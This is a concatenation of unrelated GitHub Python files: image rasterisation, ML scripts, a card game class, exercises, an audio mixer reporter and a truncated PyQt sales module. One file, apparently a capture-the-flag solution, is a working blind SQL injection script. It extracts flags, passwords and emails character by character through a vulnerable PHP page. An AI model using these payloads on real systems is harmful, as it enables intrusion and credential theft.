{"seq_id":"5296083911","text":"import numpy as np\n\ndef blit_tri(x0, y0, result=None, tri_value=1):\n    '''\n    x0, y0: array(3,) x and y positions of triangle corners in pixel units.\n            The pixel grid is defined with corners at (xp, yp) for every integer xp and yp.\n    Returns: array(n,m) representing the fractional overlap of the triangle with each pixel in its bounding box.\n    '''\n    ysort = np.argsort(y0)\n    xsort = np.argsort(x0)\n    x = x0[ysort] - np.floor(x0[xsort[0]])\n    y = y0[ysort] - np.floor(y0[ysort[0]])\n    xsort = np.argsort(x)\n\n    x_p = np.arange(np.floor(x[xsort[2]]+2))\n    y_p = np.arange(np.floor(y[2]+2))\n    X, Y = np.meshgrid(x_p, y_p, indexing='ij')\n    Xc = centre_mean(X)\n    Yc = centre_mean(Y)\n\n    if result is None:\n        result = np.zeros_like(Xc)\n    elif result.shape != Xc.shape:\n        print(f'Specified result array wrong shape: {result.shape} should be {Xc.shape}')\n\n    if result.shape == (1, 1):\n        #print('degenerate triangle')\n        result[0,0] += tri_value\n        return result\n    \n    vert_scanlines = np.zeros((3, 3))\n    x_intersect = x[0] + (y[1] - y[0]) * (x[2] - x[0]) / (y[2] - y[0])\n    vert_scanlines[0, :] = y[0], x[0], x[0]\n    vert_scanlines[1, :] = y[1], x[1], x_intersect\n    vert_scanlines[2, :] = y[2], x[2], x[2]\n    if y[0] == y[1]:\n        vert_scanlines = vert_scanlines[1:,:]\n    elif y[2] == y[1]:\n        vert_scanlines = vert_scanlines[:-1,:]\n\n    # calculate scanlines from edges intersecting the x-grid\n    # This edge is the upper one\n    jx0 = 1 + np.arange(*sorted((np.floor(x[1]), np.floor(x[2]))))\n    scanlines_edge_0 = np.zeros((jx0.size, 3))\n    scanlines_edge_0[:,0] = y[1] + (jx0 - x[1]) * (y[2] - y[1]) / (x[2] - x[1])\n    scanlines_edge_0[:,1] = jx0\n    scanlines_edge_0[:,2] = x[0] + (scanlines_edge_0[:,0] - y[0]) * (x[2] - x[0]) / (y[2] - y[0])\n\n    # This is the one which hits the top and bottom vert\n    jx1 = 1 + np.arange(*sorted((np.floor(x[2]), np.floor(x[0]))))\n    scanlines_edge_1 = np.zeros((jx1.size, 3))\n    scanlines_edge_1[:,0] = y[2] + (jx1 - x[2]) * (y[0] - y[2]) / (x[0] - x[2])\n    scanlines_edge_1[:,1] = jx1\n    top = scanlines_edge_1[:,0] > y[1]\n    bot = scanlines_edge_1[:,0] < y[1]\n    scanlines_edge_1[top,2] = x[1] + (scanlines_edge_1[top,0] - y[1]) * (x[2] - x[1]) / (y[2] - y[1])\n    scanlines_edge_1[bot,2] = x[0] + (scanlines_edge_1[bot,0] - y[0]) * (x[1] - x[0]) / (y[1] - y[0])\n    scanlines_edge_1 = scanlines_edge_1[top | bot, :]\n\n    # This is the lower one\n    jx2 = 1 + np.arange(*sorted((np.floor(x[0]), np.floor(x[1]))))\n    scanlines_edge_2 = np.zeros((jx2.size, 3))\n    scanlines_edge_2[:,0] = y[0] + (jx2 - x[0]) * (y[1] - y[0]) / (x[1] - x[0])\n    scanlines_edge_2[:,1] = jx2\n    scanlines_edge_2[:,2] = x[0] + (scanlines_edge_2[:,0] - y[0]) * (x[2] - x[0]) / (y[2] - y[0])\n\n    # Now do pixel ceilings and floors\n    scanlines_pixel = np.zeros((y_p.size - 2, 3))\n    scanlines_pixel[:,0] = y_p[1:-1]\n    scanlines_pixel = scanlines_pixel[\n            (scanlines_pixel[:,0] != y[0]) &\n            (scanlines_pixel[:,0] != y[1]) &\n            (scanlines_pixel[:,0] != y[2]), :\n        ]\n    scanlines_pixel[:,1] = x[0] + (scanlines_pixel[:,0] - y[0]) * (x[2] - x[0]) / (y[2] - y[0])\n\n    top = scanlines_pixel[:,0] >= y[1]\n    scanlines_pixel[ top,2] = x[1] + (scanlines_pixel[ top,0] - y[1]) * (x[2] - x[1]) / (y[2] - y[1])\n    scanlines_pixel[~top,2] = x[0] + (scanlines_pixel[~top,0] - y[0]) * (x[1] - x[0]) / (y[1] - y[0])\n\n    all_scanlines = np.concatenate((vert_scanlines, scanlines_edge_0, scanlines_edge_1, scanlines_edge_2, scanlines_pixel), axis=0)\n    sort_scans = np.argsort(all_scanlines[:,0])\n    sorted_scanlines = all_scanlines[sort_scans,:]\n    sorted_scanlines[:,1:].sort()\n\n    scanpoints = (sorted_scanlines[1:,:] + sorted_scanlines[:-1,:])/2\n    Dy = np.diff(sorted_scanlines[:,0])\n    \n    partial_result = np.zeros_like(x_p[:-1])\n    all_partial_results = np.zeros((partial_result.size, scanpoints.shape[0]))\n\n    tri_area = abs(x[0] * y[1] - y[0] * x[1] + x[1] * y[2] - y[1] * x[2] + x[2] * y[0] - y[2] * x[0])/2\n    tri_intensity = tri_value / tri_area\n\n    for i, (point, dy) in enumerate(zip(scanpoints, Dy)):\n        partial_result[:] = 0\n        px = np.floor(point).astype(int)\n        partial_result[px[1]:px[2]+1] = 1\n        partial_result[px[1]] -= point[1] - px[1]\n        partial_result[px[2]] -= px[2] + 1 - point[2]\n        all_partial_results[:, i] = partial_result\n        result[:, px[0]] += partial_result * dy * tri_intensity\n\n    return result\n\ndef centre_mean(var):\n    return (var[1:, 1:] + var[:-1,1:] + var[1:,:-1] + var[:-1,:-1]) / 4\n\ndef centre_prod(var):\n    return (var[1:, 1:] * var[:-1,1:] * var[1:,:-1] * var[:-1,:-1])\n\n\n","repo_name":"unpairedbracket/proton-imaging","sub_path":"analyticAA.py","file_name":"analyticAA.py","file_ext":"py","file_size_in_byte":4704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"24939712005","text":"# import packages\nfrom skimage.segmentation import slic\nfrom skimage.measure import regionprops\n\nimport cv2\nimport numpy as np\nimport random\nimport torch\n\nfrom detect_pixels import is_pixel_in_box\n\ndef get_patch(image, num_segments, ratio):\n    segments = slic(image, n_segments = num_segments, sigma = 5, start_label=1)\n    num_superpixels = len(np.unique(segments))\n    \n    # get masks list\n    masks = random.sample(range(1, num_superpixels), k = int(ratio * num_superpixels))\n    \n    # number of not masked superpixels\n    num_slected = len(np.unique(segments)) - len(np.unique(masks))\n    \n    # create masked image\n    for i in masks:\n        segments[segments == i] = 0\n\n    # mask image\n    image[segments == 0] = 0\n    \n    # test if segments are masked\n    assert len(np.unique(segments)) in range(num_slected, num_superpixels + 1)\n    \n    # test if all pixels are in box\n    assert is_pixel_in_box(segments) == True\n    \n    # define patches container\n    patches_container = []\n    original_image = image.copy()\n    original_segments = segments.copy()\n    \n    for i in np.unique(segments):\n        segments[segments != i] = 0\n        image[segments == 0] = 0\n        \n        for region in regionprops(segments):\n            minr, minc, maxr, maxc = region.bbox\n            \n            # add patches to container\n            patches = image[minr:maxr, minc:maxc]\n            patches_container.append(patches)\n            \n        segments = original_segments.copy()\n        image = original_image.copy()\n    \n    # return a list of patches\n    return patches_container","repo_name":"XiaoLinZzz/Summer-Project-2022","sub_path":"patchify.py","file_name":"patchify.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"3985833333","text":"'''\n@author: MattYi, University of Washington\n@date: 11/17/2015\n'''\n#from __builtin__ import False\n\n# This file defines the class of card\n\nclass Card(object):\n    def __init__(self,cid):        \n        #id of card ranges from 0 to 53\n        #For method to convert from id to Card see self.getCard()\n        if cid>=0 and cid<=53:\n            self.__id = cid   \n        else:\n            raise \"wrong card id!\"\n    def __eq__(self,other):\n        \"\"\"\n        DESCRIPTION:\n            used to compare to different card objects\n        \"\"\"\n        return self.__id == other.getID()\n    \n    # tested       \n    def getSuit(self):\n        if self.getID() == 52:\n            return \"Black\"\n        if self.getID() == 53:\n            return \"Red\"\n        sList = [\"Spade\", \"Heart\", \"Club\", \"Diamond\"]\n        return sList[self.getID()/13]\n    \n    # tested\n    def getRank(self):\n        if self.getID() > 51:\n            return \"Joker\"\n        else:\n            rList = ['2','3','4','5','6','7','8','9','10','J','Q','K','A']\n            return rList[self.getID()%13]\n    \n    # tested               \n    def getID(self):\n        return self.__id\n    \n    def __str__(self):\n        return self.getSuit() + ' ' + self.getRank()\n    # tested\n    def isTrump(self, tRank, tSuit):\n        # input is string\n        # if there is no trump suit, tSuit == \"None\"\n        # the implementation ensures that if there is no trump in this game, any tSuit would be OK\n        sList = [\"Spade\", \"Heart\", \"Club\", \"Diamond\"]\n        rList = ['2','3','4','5','6','7','8','9','10','J','Q','K','A']\n        cid = self.getID()\n        if cid>51:\n            return True\n        s = sList[cid/13]\n        r = rList[cid%13]\n        if s==tSuit or r==tRank:\n            return True\n        return False\n    \n    # tested\n    def getScore(self):\n        if self.getRank() in ['10', 'K']:\n            return 10\n        if self.getRank() == '5':\n            return 5\n        return 0\n    '''\n    # tested   \n    def isNext(self, cd, tRank, tSuit):\n        s = self.getSuit()\n        r = self.getRank()\n        rList = ['2','3','4','5','6','7','8','9','10','J','Q','K','A']\n        rList.remove(tRank)\n        if not self.isTrump(tRank, tSuit):\n            if s != cd.getSuit():\n                return False         \n            if rList[-1] == r:\n                return False\n            return rList[rList.index(r)+1] == cd.getRank()\n        if not cd.isTrump(tRank, tSuit):\n            return False\n        if r in rList:\n            if r == rList[-1]:\n                return cd.getRank() == tRank and cd.getSuit() != tSuit\n            elif cd.getRank() in rList:\n                return rList.index(r) + 1 == rList.index(cd.getRank())\n            else:\n                return False\n        if self.getID() == 52:  # self is black joker\n            return cd.getID() == 53\n        if self.getID() == 53:  # self is red joker\n            return False\n        if tSuit != \"None\":  \n            if r == tRank and s == tSuit:\n                return cd.getID() == 52\n            if r == tRank and s!= tSuit:\n                return cd.getRank() == tRank and cd.getSuit() == tSuit  \n        else:\n            if r == tRank:\n                return cd.getID() == 52          \n\n    \n    # tested\n    def compare(self, cd, tRank, tSuit):\n        rList = ['2','3','4','5','6','7','8','9','10','J','Q','K','A']\n        if self.isTrump(tRank, tSuit) and cd.isTrump(tRank, tSuit):\n            rList.remove(tRank)\n            rList.append(tRank)\n            rList.append(\"Joker\")\n            if rList.index(self.getRank()) > rList.index(cd.getRank()):\n                return 1\n            elif rList.index(self.getRank()) < rList.index(cd.getRank()):\n                return -1\n            else:\n                if self.getRank() == tRank:\n                    if self.getSuit() == cd.getSuit():\n                        return 0\n                    elif self.getSuit() == tSuit:\n                        return 1\n                    else: \n                        return -1\n                if self.getRank() == \"Joker\":\n                    if self.getSuit() == cd.getSuit():\n                        return 0\n                    elif self.getSuit() == \"Red\":\n                        return 1\n                    else: \n                        return -1\n        \n        if (not self.isTrump(tRank, tSuit)) and (not cd.isTrump(tRank, tSuit)):\n            if self.getSuit() == cd.getSuit():                \n                if rList.index(self.getRank()) > rList.index(cd.getRank()):\n                    return 1\n                elif rList.index(self.getRank()) < rList.index(cd.getRank()):\n                    return -1\n                else:\n                    return 0\n            else:\n                raise \"different suit, cannot compare!\"\n        else:\n            if self.isTrump(tRank, tSuit):\n                return \"First is Trump\"\n            else:\n                return \"Second is Trump\"\n    '''      \n        \n","repo_name":"archivedaccounthzyi/Tractor","sub_path":"card.py","file_name":"card.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17645755551","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 18 23:10:18 2018\n\n@author: sparachi\n\"\"\"\n###################################################################################\n###Importing Essential base Libraries::\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport sys\nfrom sklearn.preprocessing import LabelEncoder,OneHotEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import confusion_matrix,classification_report\n\n##Setting workning directory::\nprint (os.getcwd())\nos.chdir('D:\\Koushik\\CG\\Hackathon\\HealthCare_Hackathone_DataSet_CG\\Capstone Project')\nprint (os.getcwd())\n\n###loading Data sets:::\nTrain_Data= pd.read_csv('train Data.csv')\nTrain_labels= pd.read_csv('train labels.csv')\n\n############################\n## Preprocessing of Data includes handling missing values by eliminating those features who's missing count is >7000,\n##Converting Categorical features using dummies,Scalling Numerical features using Standered scalling,\n\n#Verifying for missing values:::\nTrain_Data.dtypes\nTrain_Data.isnull().sum()\nTrain_labels.isnull().sum()\n\n##Dropping columns who's sum of missing values count is eqauls to 7000.::\nTrain_Data.dropna(how='all',inplace=True,axis=1,thresh=7000)\n\n##Imputing data with mean median mode respectively::\nfor col in Train_Data:\n    if Train_Data[col].isnull().sum() > 0:\n        if str(Train_Data[col].dtype) == 'category':\n           Train_Data[col] = Train_Data[col].fillna(value = Train_Data[col].mode()[0])\n        elif (str(Train_Data[col].dtype) == 'int64'):\n           Train_Data[col] = Train_Data[col].fillna(value = Train_Data[col].mean())\n        elif (str(Train_Data[col].dtype) == 'float64'):\n           Train_Data[col] = Train_Data[col].fillna(value = Train_Data[col].mean())\n        elif (str(Train_Data[col].dtype) == 'object'):\n            Train_Data[col] = Train_Data[col].fillna(value = Train_Data[col].mode()[0])\n    else:\n        pass\n            \n           \nTrain_Data.head()\ntype(Train_Data)\n\n\n\n##Handling Categorical features using dummies function::\nTrain_Data.head()\nTrain_Data=pd.get_dummies(Train_Data,drop_first=True)\nTrain_Data.head()\n\n############################################################\n#Feature Elimination::\n###Building Random Forest Classifier to find feature_importances:\n\nfrom sklearn.ensemble import RandomForestClassifier\n\ny_Train = pd.DataFrame(Train_labels.iloc[:,1])\nX_Train = pd.DataFrame(Train_Data.iloc[:, 0:])\n\n\nX_train, X_test, y_train, y_test = train_test_split(X_Train, y_Train,\n                                                    test_size=0.20)\n\nrf = RandomForestClassifier(n_estimators=100,criterion='gini',max_depth=50 ,max_features='auto',n_jobs=-1) \nrf.fit(X_train, y_train)\nrf.score(X_test, y_test)    \nfeature_importances = pd.DataFrame(rf.feature_importances_,\n                                   index = X_train.columns,\n                                    columns=['importance']).sort_values('importance',ascending=False)\n\n\nprint(feature_importances.head(n=20))\n\n##Collected top 50 Unique features list of important/major contributors of further model building for all 14 target variables.:::  \nTop_50_feature = ['c_1259_n', 'n_0108', 'n_0078', 'n_0002', 'c_1259_i', 'c_1029_s', 'c_1033_h', 'c_1190_s',\n                  'c_0835_v',  'c_1225_n', 'id', 'n_0012', 'c_1247_o', 'c_1172_s', 'o_0176', 'c_1109_x',\n                  'c_0391_g', 'c_0944_i', 'n_0086', 'n_0102','c_1003_b','c_1190_s','c_1247_o','n_0012',\n                  'c_0944_i','o_0176','c_1172_s','c_1109_x','c_0965_h','c_1045_h','n_0102','o_0141',\n                  'n_0083','o_0201','c_1259_e','c_0391_c','o_0279','c_1225_j','n_0109','c_1029_e','c_1172_w',\n                  'o_0301','o_0125','c_0835_p','c_0965_i','c_1033_o','o_0175','n_0100','c_0554_b','n_0064',\n                  'o_0168','o_0268','o_0270','c_1259_b','o_0120','o_0223','c_1259_c','c_1316_b','o_0241',\n                  'c_0591_g','c_0749_m']  \n\n\n\n###########################################For Train_Data.csv##################\n##Spilting Data for Trainning and Test Data on Train_Data.csv and sampling using Statifies samopling.\n######Model For First Target Variable.\ny_Train = pd.DataFrame(Train_labels.iloc[:,1])\nX_Train = pd.DataFrame(Train_Data.iloc[:, :],columns= Top_50_feature)\n\n#Here considering y_Train[:,1] only, because we are about to build base logistic model\nX_train, X_test, y_train, y_test = train_test_split(X_Train, y_Train, \n                                                    test_size=0.20,\n                                                    random_state=143)\n\n### Building Logisticregression model::\nmodel = LogisticRegression(C=1.0,class_weight='balanced', solver='newton-cg', multi_class='ovr' )\nmodel = model.fit(X_train, y_train)\ny_pred = model.predict(X_test)\n\n## Classification report::\nprint(classification_report(y_test, y_pred))\n\n####Implementing OneVsRestClassifier to habndel all 14 target variables::::\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.metrics import jaccard_similarity_score\n\ny_Train = pd.DataFrame(Train_labels.iloc[:,1:])\nX_Train = pd.DataFrame(Train_Data.iloc[:, :],columns= Top_50_feature)\n\n\nX_train, X_test, y_train, y_test = train_test_split(X_Train, y_Train,\n                                                    test_size=0.20,\n                                                    random_state=143)\n\novr = OneVsRestClassifier(LogisticRegression(C=1.0,class_weight='balanced', solver='newton-cg', multi_class='ovr'))\novr.fit(X_train, y_train)\ny_pred_ovr = ovr.predict(X_test)\novr_jaccard_score = jaccard_similarity_score(y_test, y_pred_ovr)\nprint (ovr_jaccard_score)\n## Classification report::\nprint(classification_report(y_test, y_pred_ovr))\n\n\n# classifier chain model::\n# Fit an ensemble of logistic regression classifier chains and take the\n# take the average prediction of all the chains.\n\nfrom sklearn.multioutput import ClassifierChain\nfrom sklearn.metrics import jaccard_similarity_score\n\nchains = [ClassifierChain(LogisticRegression(), order='random', random_state=i)\n          for i in range(10)]\nfor chain in chains:\n    chain.fit(X_train, y_train)\n\ny_pred_chains = np.array([chain.predict(X_test) for chain in\n                          chains])\nchain_jaccard_scores = [jaccard_similarity_score(y_test, y_pred_chain >= .5)\n                        for y_pred_chain in y_pred_chains]\n\ny_pred_ensemble = y_pred_chains.mean(axis=0)\nensemble_jaccard_score = jaccard_similarity_score(y_test,\n                                                  y_pred_ensemble >= .5)\n\n\n############ Visualization for demo   #####################\n\nmodel_scores = [ovr_jaccard_score] + chain_jaccard_scores\nmodel_scores.append(ensemble_jaccard_score)\n\nmodel_names = ('Independent',\n               'Chain 1',\n               'Chain 2',\n               'Chain 3',\n               'Chain 4',\n               'Chain 5',\n               'Chain 6',\n               'Chain 7',\n               'Chain 8',\n               'Chain 9',\n               'Chain 10',\n               'Ensemble')\n\nx_pos = np.arange(len(model_names))\n\n# Plot the Jaccard similarity scores for the independent model, each of the\n# chains, and the ensemble (note that the vertical axis on this plot does\n# not begin at 0).\n\nfig, ax = plt.subplots(figsize=(7, 4))\nax.grid(True)\nax.set_title('Classifier Chain Ensemble Performance Comparison')\nax.set_xticks(x_pos)\nax.set_xticklabels(model_names, rotation='vertical')\nax.set_ylabel('Jaccard Similarity Score')\nax.set_ylim([min(model_scores) * .9, max(model_scores) * 1.1])\ncolors = ['r'] + ['b'] * len(chain_jaccard_scores) + ['g']\nax.bar(x_pos, model_scores, alpha=0.5, color=colors)\nplt.tight_layout()\nplt.show()\n\n\n\n","repo_name":"sparachi1011/Hackathon_CG","sub_path":"Health_Care_Hachathon_CG.py","file_name":"Health_Care_Hachathon_CG.py","file_ext":"py","file_size_in_byte":7777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"26691388964","text":"import os\nimport requests\n\n\nprint(\"running\")\n\ntarget = \"http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR '1'='1\"\n\ntest = \"Config correctly set\"\n\nchars = \"abcdefghijklmnopqrstuvwxyz0123456789}{)(-_$£!@.\"\n\n\ndef check(st):\n    r = requests.get(st)\n    if test in r.text:\n        return True\n    else:\n        return False\n\n\ntmp = \"\"\nfor j in range(0, 2):\n    print(\"\\n\\n\")\n\n    print(tmp)\n    tmp = \"\"\n\n    for i in range(1,30):\n        for char in chars:\n            #query = \"http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR SUBSTRING((SELECT password FROM users LIMIT {},1),{},1)='{}\".format(j, i, char)\n            #query = \"http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR SUBSTRING((SELECT email FROM users LIMIT {},1),{},1)='{}\".format(j, i, char)\n            #query = \"http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR SUBSTRING((SELECT name FROM users LIMIT {},1),{},1)='{}\".format(j, i, char)\n\n\n            #query = \"http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='config' LIMIT {},1),{},1)='{}\".format(j, i, char)\n            \n            \n            \n            \n            query = \"http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR SUBSTRING((SELECT flag FROM flag_table LIMIT {},1),{},1)='{}\".format(j, i, char)\n            #query = \"http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR SUBSTRING((SELECT value FROM config LIMIT {},1),{},1)='{}\".format(j, i, char)\n\n\n\n            \n\n\n\n            answer = check(query)\n            if answer:\n                print(char)\n                tmp += char\n    \n\n\n\n\n","repo_name":"jackisace/CTF","sub_path":"other/sql/BOOLEAN/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"14781572670","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n'''\nAuthor: sunlei\nEmail: sunlei@cmcm.com\nLast modified: 2017-12-28 23:29:51\n'''\n\nimport os\nimport json\nimport numpy as np\nfrom PIL import Image\nimport torchvision\n\nfrom . import dataset\nfrom .transforms import transforms as transform\nfrom .transforms import functional as F\n\n\nclass Dataset(dataset.Dataset):\n\n    def read(self):\n        self.items = []\n        self.gen_label_mapping()\n        mode = 'train' if self.train else 'val'\n        image_dir = os.path.join(self.opt.data_dir, mode)\n        for sub_dir in os.listdir(image_dir):\n            assert sub_dir in self.reverse_label_mapping, \\\n                f'sub dir {sub_dir} must in label mapping'\n            label = self.reverse_label_mapping[sub_dir]\n            self.logger.debug(f'read {sub_dir}, readed {len(self.items)} images')\n            sub_dir = os.path.join(image_dir, sub_dir)\n            for file_name in os.listdir(sub_dir):\n                file_name = os.path.join(sub_dir, file_name)\n                self.items.append([file_name, label])\n\n        self.logger.info(f'total read {len(self.items)} images for {mode}')\n\n    def gen_label_mapping(self):\n        file_name = os.path.join(self.opt.data_dir, 'human_readable_file.json')\n        doc = json.load(open(file_name))\n        self.reverse_label_mapping = {}\n        for item in doc:\n            self.reverse_label_mapping[item['name']] = item['id']\n\n    def gen_transforms(self):\n        sampler = transform.Sampler(self.opt.scales)\n        if self.train:\n            transforms = [\n                transform.CropAndResize(scale_sampler=sampler),\n                transform.ColorJitter()\n            ]\n        else:\n            transforms = [transform.Resize(scale_sampler=sampler)]\n        self.transforms = torchvision.transforms.transforms.Compose(transforms)\n\n    def __getitem__(self, index):\n        file_name, label = self.items[index]\n        image = np.array(Image.open(file_name).convert('RGB'))\n        image = self.transforms(image)\n        return F.transpose(image), label\n\n","repo_name":"allyLei/deepvision","sub_path":"datasets/imagenet.py","file_name":"imagenet.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"3149641385","text":"# practice 1\np = ['Life', ' is', 'too', 'short']\n\nprint(\" \".join(p))\n\n# practice 2\n# 결과값은 'shirt'\n\n# practice 3\n\ni = 1\nwhile i <= 4:\n    print('*'*i)\n    i += 1\n\n# practice 4\n\n\ns = 'mutzangesazachurum'\n\ncount = 0\n\nfor i in range(0, len(s)):\n    if s[i] == 'a' or s[i] == 'e' or s[i] == 'i' or s[i] == 'o' or s[i] == 'u':\n        count += 1\n\nprint(count)\n\n\n# 1-1\n\nsum = 0\nnum = 1\n\nwhile num <= 1000:\n    if num % 3 == 0:\n        sum += num\n\n    num += 1\n\n\nprint(sum)\n\n\n# 1-2\n\nnum = 10\nwhile num > 0:\n    print('*'*num)\n    num -= 1\n\n\n# 1-3\n\nsum = 0\naa = [20, 55, 67, 82, 45, 33, 90, 87, 100, 25]\n\n\ndef tra(l):\n    a = l.pop()\n    return a\n\n\nwhile len(aa) > 0:\n\n    sum += tra(aa)\n\nprint(sum)\n\n\n# 2-1\n\nfor i in range(1, 101):\n    print(i)\n\n# 2-2\n\nsum = 0\n\nb = [70, 60, 55, 75, 95, 90, 80, 80, 85, 100]\n\nfor i in b:\n    sum += i\n\nprint(sum/len(b))\n\n\n# 2-3\n\nnumbers = [1, 2, 3, 4, 5]\n\nres = [n*2 for n in numbers if n % 2 == 1]\n\nprint(res)\n","repo_name":"vhvha/assignment_likelion","sub_path":"pyas.py","file_name":"pyas.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37141904401","text":"#!/usr/bin/python\n# written by Alexander Sosedkin, distributed under GNU GPLv3, please see LICENSE\nimport liblo, pyalsa.alsamixer, select\n\nPATH = '/alsamixer_reporter/'\nADDRESS = ('localhost', 8000)\nNAMES = ('Master', 'PCM', 'Capture')\nCAPTURE = ('Capture',)\nTIMEOUT=2\n\ndef main():\n    m = pyalsa.alsamixer.Mixer(); m.attach(); m.load()\n    elements = {name: pyalsa.alsamixer.Element(m, name) for name in NAMES}\n    for element in elements.values(): element.set_callback(callback)\n    ep = select.epoll(); ep.register(*m.poll_fds[0])\n    while True:\n        m.handle_events()\n        if not ep.poll(timeout=TIMEOUT): # if nothing happened in TIMEOUT secs\n            for element in elements.values(): callback(element)\n\ndef callback(element, index_unused=None):\n    cap = element.name in CAPTURE\n    mn, mx = element.get_volume_range(cap)\n    vol = float(element.get_volume(0, cap) - mn) / (mx - mn)\n    mute = not element.get_switch(0, cap) if element.has_switch(cap) else False\n    liblo.send(ADDRESS, PATH + element.name, vol)\n    liblo.send(ADDRESS, PATH + element.name + '/mute', mute)\n\nif __name__ == \"__main__\": main()\n\n","repo_name":"t184256/soundcontrol","sub_path":"alsamixer_reporter.py","file_name":"alsamixer_reporter.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"40707432292","text":"#!/usr/bin/env python\nimport os\nfrom datetime import datetime, timedelta, date\n\nfrom sqlalchemy.orm import sessionmaker, relationship\nfrom sqlalchemy import *\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom PyQt4 import QtGui, QtCore\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\n\nfrom api_printer import printer_render, TimeOutPrinter, flush_printer\nfrom models import *\nfrom config import TWO_COPIES, NO_PRINT\nfrom decimal import Decimal\n\nID_CLIENT_ANONYMOUS = 1\n\nPATH = os.path.dirname(os.path.abspath(__file__))\n\n\nclass SaleApi(object):\n    def __init__(self, price_total, client_id=ID_CLIENT_ANONYMOUS):\n        self.price_total = price_total\n        self.details = []\n        self.client_id = client_id\n        self.factura = None\n\n    def generate_factura(self):\n        self.factura = Factura(self.client_id, datetime.now())\n        session.add(self.factura)\n        session.flush()\n        session.refresh(self.factura)\n\n    # def get_client_anonymous():\n    #     client = session.query(Cliente).get(ID_CLIENT_ANONYMOUS)\n    #     return client\n\n    def add_detail(self, id_product, quantity):\n        product = session.query(Producto).get(id_product)\n        assert quantity <= product.stock\n        detail = Detalle(id_factura=self.factura.id, producto=product.id,\n                         cantidad=quantity,\n                         precio_total=float(quantity * product.precio_venta))\n        self.details.append(\n            (detail, [str(product.id), product.nombre, str(product.precio_venta)])\n        )\n        product.stock -= quantity\n        session.add(detail)\n\n    def add_detail_service(self, id_service=None,\n                           type_service=None, quantity=1, canceled=False):\n        if not id_service:\n            service = Servicio(type_service, canceled, self.price_total)\n            session.add(service)\n            session.flush()\n            session.refresh(service)\n            type_service_obj = session.query(TipoServicio).get(type_service)\n        else:\n            service = session.query(Servicio).get(id_service)\n            service.cancelado = canceled\n            service.monto += Decimal(self.price_total)\n            type_service_obj = session.query(TipoServicio).get(service.tipo)\n\n        detail = Detalle(id_factura=self.factura.id, servicio=service.id,\n                         cantidad=quantity, precio_total=self.price_total)\n\n        self.details.append(\n            (detail, [str(type_service_obj.id), type_service_obj.nombre, str(self.price_total)])\n        )\n        session.add(detail)\n\n    def save_sale(self):\n        session.commit()\n\n    def print_factura(self, parent=None):\n        client = session.query(Cliente).get(self.client_id)\n        assert len(self.details) > 0\n\n        # def render_template(template_filename, context):\n        #     return TEMPLATE_ENVIRONMENT.get_template(\n        # template_filename).render(context)\n        # file_output = \"output_factura.txt\"\n\n        context = {\n            'factura': self.factura,\n            'details': self.details,\n            'client': client,\n            'price_total': self.price_total\n        }\n        # with open(file_output, 'w') as f:\n        #     html = render_template('factura.txt', context)\n        #     f.write(html)\n        if not TWO_COPIES or NO_PRINT:\n            while True:\n                try:\n                    printer_render(context, fontfullpath='fonts/DejaVuSans.ttf', fontsize=21)\n                except TimeOutPrinter:\n                    flush_printer()\n                    ok = QtGui.QMessageBox.question(parent, u'Sin repuesta Impresora',\n                                                    u'Al parecer la impresora esta fallando'\n                                                    u', asegurate de que este conectada y con papel dentro\\n'\n                                                    u'Deseas volver a intentar? (Si escoges NO se guardara la venta, pero no se'\n                                                    u'imprimira ticket)',\n                                                    QtGui.QMessageBox.Yes,\n                                                    QtGui.QMessageBox.No)\n                    if ok == QtGui.QMessageBox.Yes:\n                        continue\n                    else:\n                        flush_printer()\n                        return\n                break\n            return\n\n        while True:\n            try:\n                img = printer_render(\n                context, fontfullpath='fonts/DejaVuSans.ttf', fontsize=21)\n            except TimeOutPrinter:\n                flush_printer()\n                ok = QtGui.QMessageBox.question(parent, u'Sin repuesta Impresora',\n                                                u'Al parecer la impresora esta fallando'\n                                                u', asegurate de que este conectada y con papel dentro\\n'\n                                                u'Deseas volver a intentar? (Si escoges NO se guardara la venta, pero no se'\n                                                u'imprimira ticket)',\n                                                QtGui.QMessageBox.Yes,\n                                                QtGui.QMessageBox.No)\n                if ok == QtGui.QMessageBox.Yes:\n                    continue\n                else:\n                    flush_printer()\n                    return\n            break\n        QtGui.QMessageBox.information(\n            parent, 'Finalizado', 'Ticket Imprimido, entregue este ticket')\n\n        while True:\n            try:\n                printer_render(context, fontfullpath='fonts/DejaVuSans.ttf', fontsize=21,\n                               img_default=img)\n            except TimeOutPrinter:\n                flush_printer()\n                ok = QtGui.QMessageBox.question(parent, u'Sin repuesta Impresora',\n                                                u'Al parecer la 